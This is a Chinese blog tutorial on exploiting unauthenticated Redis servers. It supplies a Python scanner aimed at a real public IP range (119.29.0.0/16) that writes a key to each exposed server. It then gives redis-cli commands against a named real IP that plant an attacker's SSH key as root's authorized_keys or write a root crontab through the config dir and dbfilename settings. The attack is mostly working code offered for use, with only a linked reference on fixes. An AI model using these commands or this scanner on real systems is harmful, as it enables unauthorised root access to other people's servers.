Redis数据库漏洞

1.什么是Redis

Redis 是一个开源的使用ANSI C语言编写、Key-Value数据库,并提供多种语言的API,所谓的KEY对Value指的是每一个Key都对应一个value值。value也可以 是null。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者用户可以自己手工输 入save命令保存在服务器上,并且在此基础上实现了master-slave(主从)同步。

2.Redis客户端

Redis默认安装好默认端口是6379
Redis默认配置是不对外开放,也就是不允许外联,需要用户手工修改/etc/redis/redis.conf
Redis默认情况下是无需任何账户密码进行连接的
Redis安装之后默认会有一个叫 “redis-server”的服务端用于启动redis服务,启动命令“redis-server /etc/redis/redis.conf”
Redis安装之后默认还会有一个“redis-cli”的客户端,用于连接redis数据库,可以自身连接也可以连接其它主机上的redis

redis-cli 客户端命令

-h  :指定要连接的主机IP或域名  
-p :指定连接的端口  
-a :指定密码  
-r  :执行指定的命令  
-n  :数据库名  
-x :将最后一个参数输出为value  

服务器操作命令

info:获取redis以及服务器的基本信息
config get dir :获取数据库备份文件的路径
config set dir /root :设置redis的备份路径为/root,如果提示没权限说明你当前无权限设置该目录
config set dbfilename test :设置数据库备份文件的名字
config get dbfilename :获取数据库备份的名字
save : 将数据库的内容备份到本地磁盘,默认备份在安装Redis的src目录,名字为dump.rdb

3.漏洞利用过程

首先扫描出有漏洞的主机,运行一下脚本可以扫描网段内主机是否开启6379端口,开启的话再去验证是否有权限认证

#!/usr/bin/python3
# -*- coding: utf-8 -*-
from socket import *
import redis

def portScanner(host,port):
    try:
        s = socket(AF_INET,SOCK_STREAM)
        s.connect((host,port))
        # print('[+]%s, %d open' % (host, port))
        s.close()
        return True
    except:
        # print('[-]%s, %d close' % (host, port))
        return False

def ip2num(ip):
    ip=[int(x) for x in ip.split('.')]
    return ip[0] <<24 | ip[1]<<16 | ip[2]<<8 |ip[3]

def num2ip(num):
    return '%s.%s.%s.%s' %( (num & 0xff000000) >>24,
                            (num & 0x00ff0000) >>16,
                            (num & 0x0000ff00) >>8,
                            num & 0x000000ff )
def get_ip(ip):
    start,end = [ip2num(x) for x in ip.split('-') ]
    return [ num2ip(num) for num in range(start,end+1) if num & 0xff ]

def main():
    setdefaulttimeout(1)
    iplist = get_ip('119.29.0.0-119.29.255.255')
    for i in iplist:
        if portScanner(i, 6379):
            try:
                r = redis.Redis(host = i, port = 6379, db = 0)
                r.set('redis-t', '0xff000000')
                print r
            except:
                print "NOAUTH Authentication required."
  

if __name__ == '__main__':
    main()

得到扫描后的主机信息后,即可直接登陆redis数据库

redis-cli -h 119.29.9.133

然后ssh-keygen –t rsa -f filename 生成公私钥
将私钥放在~/.ssh下命名为id_rsa,将公钥设置为目标数据库的一个键

(echo -e "\n\n"; cat filename.pub; echo -e "\n\n") > key.txt  
这条命令的含义是将id_rsa.pub的内容输出到key.txt,前后各加上两行空行,防止出错
cat key.txt | redis-cli -h 119.29.9.133 -x set crackit
这条命令的意思是连接目标119.29.9.133的redis,通过-x参数将key.txt 设置为 key “crackit” 的value

然后首先判断是否有/root/.ssh,如果有直接将dbfilename设为authorized_keys,然后将密钥存进去即可

如果没有在判断服务器是否安装crontab,利用crontab来创建文件/root/.ssh

echo -e "\n\n*/1 * * * * /bin/mkdir ~/.ssh \n\n"|redis-cli -h 127.0.0.1 -x set 2
redis-cli -h 127.0.0.1 config set dir /var/spool/cron/
redis-cli -h 127.0.0.1 config set dbfilename root
redis-cli -h 127.0.0.1 save

如果这两步都失败就可以放弃了

参考文章:http://blog.nsfocus.net/redis-unauthorized-ssh-free-password-vulnerabilities-fixes/

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,458评论 4 363
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,454评论 1 294
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 109,171评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,062评论 0 207
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,440评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,661评论 1 219
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,906评论 2 313
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,609评论 0 200
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,379评论 1 246
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,600评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,085评论 1 261
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,409评论 2 254
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,072评论 3 237
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,088评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,860评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,704评论 2 276
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,608评论 2 270

推荐阅读更多精彩内容